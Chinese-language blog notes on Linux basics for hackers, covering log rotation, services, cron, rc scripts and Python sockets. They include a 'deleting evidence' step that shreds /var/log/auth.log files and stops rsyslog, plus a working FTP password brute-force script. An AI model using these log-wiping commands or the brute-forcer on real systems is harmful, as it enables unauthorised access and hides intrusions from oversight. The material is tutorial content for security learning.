在每个转储周期结束时,将重命名日志文件,并在创建新日志文件时将其推到日志链的末尾,以替换 当前日志文件。例如,/var/log.auth 将变成/var/log.auth.1,那么/var/log.auth.2,以此类推。如果您每四周 轮换一次日志,并保留四组备份,那么您将得到/var/log.auth.4,但是没有/var/log.auth.5。意思是旧的 /var/log.auth.4 将被删除,而不是被推到/var/log/auth.5

删除证据

shred 将删除文件并多次覆盖它——默认情况下,shred 将覆盖 4 次。通常,文件被 覆盖的次数越多,恢复起来就越困难,但是请记住,每次覆盖都需要时间,因此对于非常大的文件,碎片 化可能会很耗时。

要包括两个有用的选项,一个是-f 选项,它更改文件的权限,以便在需要更改权限时允许覆盖;另一 个是-n 选项,它允许您选择覆盖文件的次数。

例如,我们将使用以下命令将/var/log/auth.log 中的日志文件 分解覆盖 10 次:

1
kali >shred  -f  -n  10  /var/log/auth.log.*

禁用日志记录

需要root权限

service rsyslog stop

熟练使用服务

启动、停止和重新启动服务

service servicename start|stop|restart

对黑客特别重要的四个:

Apache Web Server,

OpenSSH,

MySQL ,

PostgreSQL 结合 Metasploit 。

使用作业调度自动化任务

需要遵循的格式,

1
2
M   H  DOM  MON  DOW  USER  COMMAND 
30 2 * * 1-5 root /root/myscanningscript

leafpad /etc/crontab

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# /etc/crontab: system-wide crontab 
# Unlike any other crontab, you don't have to run the 'crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# which no other crontabs do.

SHELL=/bin/sh PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron II ( cd / && run-parts
47 6 * * 7 root test -x /usr/sbin/anacron II ( cd / && run-parts
52 6 1 * * root test -x /usr/sbin/anacron II ( cd / && run-parts
#

设置一个备份计划任务

在 crontab 中添加下行:

1
00 2 * * 0 backup /bin/systembackup.sh

cron 守护进程将在每月周日早上 2 点执行那个脚本。

crontab快捷方式

crontab 文件有些内置的快捷方式,用来代替具体的时间,日期,月份。它包含这些:
179
• @yearly

• @annually

• @monthly

• @weekly

• @daily

• @midnight

• @noon

• @reboot
所以,如果你希望 MySQL 扫描器每天午夜运行,你可以添加下行到 crontab 文件:

@midnight user /usr/share/MySQLsscanner.sh

使用 RC 脚本开机运行任务

Linux运行级别

Linux 有多个运行级别,用于指示启动时需要启动哪些服务。例如,运行级别 1 是单用户工作状态, rc 脚本会根据运行级别运行。

0 系统停机状态
1 单用户工作状态
2 – 5 多用户状态
6 重启

你以使用 update-rc.d 命令为 rc.d 脚本添加启动时要运行的服务。此命令允许你从 rc.d 脚本中添加或删 除服务。update-rc.d 的语法很简单,输入命令,后面输入脚本的名字然后输入动作

1
kali >update-rc.d  <name  of  the  script  or  service>  <remove|defaults|disable|enable>

举个update-rc.d的例子,假设你总是希望PostgreSQL 数据库在系统启动时运行,这样你的Metasploit 框 架可以使用它储存黑客攻击和渗透测试的结果。你需要使用 update-rc.d 添一行到你的 rc.d 脚本来让它每次 系统启动时运行。

1
update-rc.d  postgresql  defaults

PYTHON 网络通信

1
2
3
4
5
6
#! /usr/bin/python3 
import socket
➋ s = socket.socket()
➌ s.connect(("192.168.1.101", 22))
➍ answer = s.recv(1024)
➎ print(answer)

首先,我们导入 socket 模块➊,以便使用它的功能和工具。这里,我们将使用 socket 模块中的网络工 具来为我们处理通过网络连接的接口。Socket 为两个计算机节点提供了相互通信的方式。通常一个节点是服 务端一个是客户端。
然后我们创建了一个新的变量 s ,然后将它和 socket 模块中的 socket 类关联➋。这样,每当我们想使 用 socket 类时,就不必引用完整的 socket.socket()语法,只需使用 s 变量名即可。
然后,我们使用 socket 模块➌中的 connect()方法来建立到特定 IP 和端口的网络连接。记住,方法是 可用于特定对象的函数,语法为 object.method(例如 socket.connect)。这里,我连接到 IP 地址 192.168.1.101, 它是我网络上一台电脑的 IP 地址,22 端口是默认的 ssh 端口。您可以在 Linux 或 Kali 的另一个实例上对此 进行测试。大多数 22 端口是默认打开。
一旦你建立了联系,就可以做很多事情。这里我们使用接收方法 recv 来接收来自 socket 的 1024 bytes 数据 ➍ 并且将他们储存到一个叫 answer 的变量里;这 1024 bytes 包含了 banner 信息。然后,我们用 print ()函数将该变量的内容打印到屏幕上,以查看通过该 socket 传递的数据,从而允许我们监视它!在最后 一行,我们关闭连接。

创建 TCP 监听器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#!/usr/bin/python3 import socket 
➊ TCP_IP = "192.168.181.190" TCP_PORT = 6996
BUFFER_SIZE = 100

➋ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
➌ s.bind((TCP_IP, TCP_PORT))
➍ s.listen (1)

➎ conn,addr = s.accept()
print ('Connection address: ', addr )
while 1:
data=conn.recv(BUFFER_SIZE)
if not data:
break
print ("Received data: ", data)
conn.send(data) #echo

conn.close

我们声明希望脚本使用 Python 解释器运行,然后像以前一样导入套接字模块,这样我们就可以使用它 的功能。然后,我们定义变量来保存 TCP/IP 地址、要监听的端口以及要从连接系统捕获的数据的缓冲区大 小的信息➊。
我们定义了 socket ➋,并使用刚才创建的变量将 socket 绑定到 IP 地址和端口➌。我们告诉 socket 使用 socket 库➍中的 listen()方法进行侦听。
然后,我们使用 socket 库的 accept 方法捕获连接系统的 IP 地址和端口,并将这些信息打印到屏幕上,
以便用户可以看到它➎。

现在,转到网络上的另一台计算机,使用浏览器连接到脚本中指定的 6996 端口。运行 tcp_server.py 脚 本,你应该能够连接和收集有关那个系统的关键信息,包括连接系统的 IP 地址和端口,如下所示:

1
2
3
4
5
6
kali >./tcp_server.py 
Connection Address: ('192.168.181.190', 45368) Received data: Get /HTTP/1.1
Host:192.168.181.190:6996
User ­Agent:Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gec

­­snip---

这是黑客在决定攻击前收集的关键信息。漏洞攻击(或黑客攻击)是针对特定的操作系统、应用程序, 甚至是正在使用的语言,因此黑客需要在继续操作之前尽可能了解有关目标的信息。在黑客攻击之前收集信息的行为通常被称为侦察。

密码破解

这个脚本要求用户输入 ftp 服务器 号和要破解的 ftp 帐户的用户名。然后它读取一个包含可能密码列表的外部文本文件,并尝试每个密码来破 解 ftp 帐户。脚本执行此操作直到成功或密码用完。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#! /usr/bin/python3 
import ftplib
server = input(FTP Server: ")

➋ user = input("username: ")

➌ Passwordlist = input ("Path to Password List > ")

➍ try:

with open(Passwordlist, 'r') as pw:
for word in pw:
➎ word = word.strip ('\r').strip('\n')

➏ try:


ftp = ftplib.FTP(server)
ftp.login(user, word)
➐ print (Success! The password is ' + word)

➑ except:

print('still trying...')
except:
print ('Wordlist error')

我们将使用 ftplib 模块中的工具来实现 FTP 协议,所以首先我们导入它。然后,我们创建一个名为 server 的变量和另一个名为 user 的变量,它将存储一些用户输入的命令。你的脚本将提示用户输入 FTP 服务器的 IP 地址➊和用户尝试进入的帐户的用户名➋。
然后我们询问用户密码列表➌的路径。通过在终端中输入 locate wordlist,您可以在 kali linux 中找到许 多密码列表。
然后,我们开始 try 代码块,该代码将使用用户提供的密码列表来尝试破解用户提供的用户名的密码。

注意,我们使用了一个新的名为 strip()➎的 python 函数。此函数删除字符串的第一个和最后一个字符 (在这里是密码列表)。如果此列表中的密码前面有空格或逗号,则需要执行此操作。strip()函数的作用是: 删除这些字符,只留下潜在密码的字符串。如果我们不去除空白,我们可能会得到一个假阴性。
然后,我们使用第二个 try➏代码块。这里,我们首先使用 ftplib 模块连接到用户提供的 IP 地址的服务 器,然后从该帐户的密码列表中尝试下一个密码。
如果用户名和密码的组合导致错误,则代码块退出并转到 except 子句➑,在该子句中打印 still trying, 然后返回到 for 子句的顶部并从密码列表中获取下一个密码以尝试。
如果组合成功,成功的密码将会被打印到屏幕上➐。最后一行记录任何其他可能导致错误的情况。例 如,如果用户输入程序无法处理的内容,例如单词表的路径错误或缺少单词表。
现在,让我们对 192.168.1.101 的 FTP 服务运行这个脚本,看看是否可以破解 root 用户的密码。我使用 的是我工作目录中名为 bigpasswordlist.txt 的密码列表。如果密码列表不在你的工作目录中,您可能需要提 供到所使用密码列表的完整路径(例如,/usr/share/bigpasswordlist.txt)。

如果想要学习更多 Python 知识,强烈推荐由 Al Sweigart 编写的 No Starch Press 出版社 的优秀书籍《Automate the Boring Stuff with Python (2015)》。


转载请注明来源,欢迎对文章中的引用来源进行考证,欢迎指出任何有错误或不够清晰的表达。可联系QQ 643713081,也可以邮件至 643713081@qq.com

文章标题:Linux 基础

文章字数:11.6k

本文作者:Van1sh

发布时间:2019-09-12, 00:17:00

最后更新:2020-05-24, 18:37:18

原始链接:http://jayxv.github.io/2019/09/12/Linux 基础/

版权声明: "署名-非商用-相同方式共享 4.0" 转载请保留原文链接及作者。

目录
×

喜欢就点赞,疼爱就打赏